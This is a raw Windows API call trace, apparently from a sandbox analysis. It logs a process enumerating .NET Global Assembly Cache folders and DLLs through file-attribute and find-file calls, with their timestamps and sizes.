	[0088.615] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Accessibility\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\accessibility\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12479188 | out: lpFileInformation=0x12479188*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x932f17e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x56eed5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56eed5e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.615] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Accessibility\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\accessibility\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.615] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Accessibility\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x932f17e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x56eed5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56eed5e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.615] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.615] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Accessibility\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\Accessibility.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\accessibility\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\accessibility.dll"), fInfoLevelId=0x0, lpFileInformation=0x12479228 | out: lpFileInformation=0x12479228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56eed5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x8ca8)) returned 1
	[0088.615] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\AspNetMMCExt" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\aspnetmmcext"), fInfoLevelId=0x0, lpFileInformation=0x12479278 | out: lpFileInformation=0x12479278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5cc6660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5cc6660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5cc6660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.615] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\AspNetMMCExt" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\aspnetmmcext"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.616] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\AspNetMMCExt\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5cc6660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5cc6660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5cc6660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.616] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.616] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\AspNetMMCExt\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\aspnetmmcext\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12479318 | out: lpFileInformation=0x12479318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5cc6660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5720d2c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5720d2c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.616] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\AspNetMMCExt\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\aspnetmmcext\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.616] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\AspNetMMCExt\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5cc6660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5720d2c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5720d2c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.616] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.616] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\AspNetMMCExt\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\AspNetMMCExt.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\aspnetmmcext\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\aspnetmmcext.dll"), fInfoLevelId=0x0, lpFileInformation=0x124793b8 | out: lpFileInformation=0x124793b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5720d2c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7c2b0)) returned 1
	[0088.616] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Activities.Build" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.activities.build"), fInfoLevelId=0x0, lpFileInformation=0x12479408 | out: lpFileInformation=0x12479408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ef7000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9ef7000, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9ef7000, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.617] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Activities.Build" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.activities.build"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.617] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Activities.Build\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ef7000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9ef7000, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9ef7000, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.617] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.617] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Activities.Build\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.activities.build\\v4.0_4.0.0.0__31bf3856ad364e35"), fInfoLevelId=0x0, lpFileInformation=0x124794a8 | out: lpFileInformation=0x124794a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ef7000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5c55d4c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5c55d4c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.617] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Activities.Build\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.activities.build\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.617] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Activities.Build\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ef7000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5c55d4c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5c55d4c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.617] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.617] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Activities.Build\\v4.0_4.0.0.0__31bf3856ad364e35\\Microsoft.Activities.Build.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.activities.build\\v4.0_4.0.0.0__31bf3856ad364e35\\microsoft.activities.build.dll"), fInfoLevelId=0x0, lpFileInformation=0x12479548 | out: lpFileInformation=0x12479548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5c55d4c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xd0e8)) returned 1
	[0088.618] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build"), fInfoLevelId=0x0, lpFileInformation=0x12479598 | out: lpFileInformation=0x12479598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4225040, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4225040, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4225040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.618] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.618] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4225040, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4225040, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4225040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.618] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.618] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12479638 | out: lpFileInformation=0x12479638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4225040, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ca6c380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ca6c380, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.618] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.618] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4225040, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ca6c380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ca6c380, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.618] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.619] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\Microsoft.Build.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\microsoft.build.dll"), fInfoLevelId=0x0, lpFileInformation=0x124796d8 | out: lpFileInformation=0x124796d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ca6c380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1582c0)) returned 1
	[0088.619] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Conversion.v4.0" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.conversion.v4.0"), fInfoLevelId=0x0, lpFileInformation=0x12479728 | out: lpFileInformation=0x12479728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa41feee0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa41feee0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa41feee0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.619] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Conversion.v4.0" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.conversion.v4.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.619] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Conversion.v4.0\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa41feee0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa41feee0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa41feee0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.619] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.619] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Conversion.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.conversion.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x124797c8 | out: lpFileInformation=0x124797c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa41d8d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5c7beac0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5c7beac0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.619] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Conversion.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.conversion.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.619] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Conversion.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa41d8d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5c7beac0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5c7beac0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.620] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.620] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Conversion.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\Microsoft.Build.Conversion.v4.0.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.conversion.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\microsoft.build.conversion.v4.0.dll"), fInfoLevelId=0x0, lpFileInformation=0x12479868 | out: lpFileInformation=0x12479868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5c7beac0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x14b00)) returned 1
	[0088.620] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Engine" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.engine"), fInfoLevelId=0x0, lpFileInformation=0x124798b8 | out: lpFileInformation=0x124798b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4271300, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4271300, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4271300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.620] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Engine" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.engine"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.620] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Engine\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4271300, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4271300, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4271300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.620] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.620] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Engine\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.engine\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12479958 | out: lpFileInformation=0x12479958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4271300, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cade7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cade7a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.620] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Engine\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.engine\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.621] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Engine\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4271300, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cade7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cade7a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.621] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.621] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Engine\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\Microsoft.Build.Engine.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.engine\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\microsoft.build.engine.dll"), fInfoLevelId=0x0, lpFileInformation=0x124799f8 | out: lpFileInformation=0x124799f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cade7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa04d8)) returned 1
	[0088.621] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Framework" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.framework"), fInfoLevelId=0x0, lpFileInformation=0x12479a48 | out: lpFileInformation=0x12479a48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4297460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4297460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4297460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.621] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Framework" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
